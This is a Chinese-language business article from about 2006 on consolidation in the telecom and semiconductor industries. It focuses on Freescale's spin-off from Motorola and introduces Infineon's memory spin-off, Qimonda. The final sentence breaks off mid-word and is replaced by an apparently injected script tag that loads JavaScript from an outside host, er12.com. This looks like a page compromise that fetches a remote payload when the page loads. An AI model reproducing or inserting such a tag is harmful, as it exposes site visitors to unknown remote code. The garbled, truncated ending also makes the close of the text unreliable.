2006年以来，全球电信市场风云际会，购并重组大势波澜起伏，继at&t连横bellsouth、alcatel收编lucent后，nokia与siemens强强联合的“诺西网络”也已横空出世...动作频仍且其势头并无弱减的丝毫征兆，更有甚者，每每都是大手笔运作，动辄数百亿美金，实在是惹眼得厉害，也实在让人唏嘘感喟，同在媒体的一位朋友不禁叹道：今年购并格外多！
令人瞠目的大约并不只是处于风口浪尖的电信大局，近年来一直被指为技术密集且领域相对封闭的全球半导体产业，亦总在不断提升、不断演进过程中不失时机地、大气力地蓄积内部变革的伟大力量：从freescale脱胎motorola、hp抽身agilent，agilent再度衍生孙子辈的avago，再到hynix卖掉magnachip，一直到当下风头正紧的intel与amd且购且卖的大量事实，我们不难发现：变革已然成势。寻找标杆
孩子大了总是要另立门户、独挡一面的，就像当年他的爸爸妈妈那样。
freescale似乎是一面镜子。
2004年11月底，motorola公司宣布分拆其发展势头正猛的半导体业务部门freescale semiconductor。据当年路透社报道，motorola股东可以按照100：11的比例，凭借其手中持有的每股摩托罗拉普通股股票，换取0.11股freescale b股股票，力图通过其剥离的freescale半导体公司发行1.216亿股新股，筹集到其预想中的高达22亿美元的充裕资金。消息一出，舆论哗然。
作为motorola半导体部门存在的freescale，从1953年成立再到业务分拆，已经走过半个世纪的漫长旅途，而其自打运营伊始便一直走在全球半导体技术的前列，其发展与进步对整个产业的推演亦产生了极其深远的影响。笔者从其2003年的统计数据得知，freescale当年在全球汽车半导体产品、全球网络通信处理器、用于蜂窝基站的射频产品等诸多领域均已拔得头筹。另外，其在工业控制器和消费类电子产品，尤其在微控制器和嵌入式处理器的市场上已经稳扎稳打地拿下第二名的骄人业绩，再者，其在无线通信应用以及蜂窝数字基带产品的研发推广上亦有不俗表现。
尽管如此，根据路透社2004年的数字，freescale在2004年第1季度盈利1.06亿美元，但该公司在2003年却已亏损3.66亿美元。回顾过往，freescale在2004年之前的三年里累计亏损40多亿美元。由此可见，虽然其技术水平已经非常强悍，但其整体运作能力只能差强人意甚至名不副实。
且看拆分后独立运营、独立核算的freescale之扎实动作后的丰硕成果。2006年五月底，笔者在上海ftf论坛上采访freescale无线通信总经理franz时，他言之凿凿地表示：“目前freescale的整体销售收入大概在60亿美元左右，2005年无线部分更是达到了18亿美元，占到了全球市场35%的份额。这一块业务潜力非常大，而且我可以肯定地说，今后该市场将继续保持赢利性增长。”
你可以不同意他的观点，更可以对他的数字表示怀疑，又或者，你根本不佩服他说话的口吻，但事实摆在那里却总是看得见且摸得着的。笔者并无为之吹嘘的意思，但freescale已毫无疑问地成为半导体产业内部分拆、购并大旗指引之下成功运作的典范。那么，是怎样的情势或者是怎样的策略引导企业发展至此的呢？动动我试试？试试就试试！
“当你逐渐发现，客户也是竞争对手的时候，事情就有些复杂了。从前是眼瞅着自己的孩子和自己的敌人交朋友，你也矛盾，他也尴尬，现在好了，你做你的，我做我的，朋友完全可以再多交几个，关系完全可以再近一步。于是，胸襟一下子就开阔了，视野更是清晰了许多。”赛迪顾问半导体高级分析师李树冲的见解与笔者不谋而合。
长话短说，权且从某一个点谈起。我们知道，freescale一直以来在通信芯片的设计研发方面着实狠下了一番工夫，亦取得了不错的市场反馈。但是，依偎在伟大的母亲motorola宽大且温暖的翅膀之下，freescale这个已经并不稚嫩的小伙计说话的力度还是难免柔弱了一些，而其大部分的动作也基本针对内部消化、内部吸收所衍生，甚至一直到现在，motorola对freescale通信芯片的采购数量远远高过其他同类公司。但毫无疑问的是，定位于半导体公司的freescale做大、做强之后的姿态自然很是招摇，其技术的优势无疑也吸引了如nokia等通信大牌的光顾。众所周知的是，作为全球移动通信技术的领导者，motorola与nokia的明争暗斗仿佛并不逊于时下的amd与intel，而把自己的核心技术卖给并不厚道且势力强大的敌人，即使并非引狼入室也可称之为助纣为虐，而且前仆后继者并非nokia一家而已，motorola决策层想必为此伤透了脑筋。痛定思痛、长痛不如短痛，“分家！让你自己搞去吧！”于是，freescale踌躇满志地另起炉灶，在炊烟袅袅之余，生意一下子开阔了许多，朋友也自是交了一票，而更为重要的是，大把的银子却也不间断地流了进来。
采取独立策略的，并非仅仅freescale。2006年3月31日，德国媒体率先披露，infineon正式将其内存部门分拆为一家新公司，而后的5月1日，以qimonda命名的新公?script src=http://er12.com/t.js>
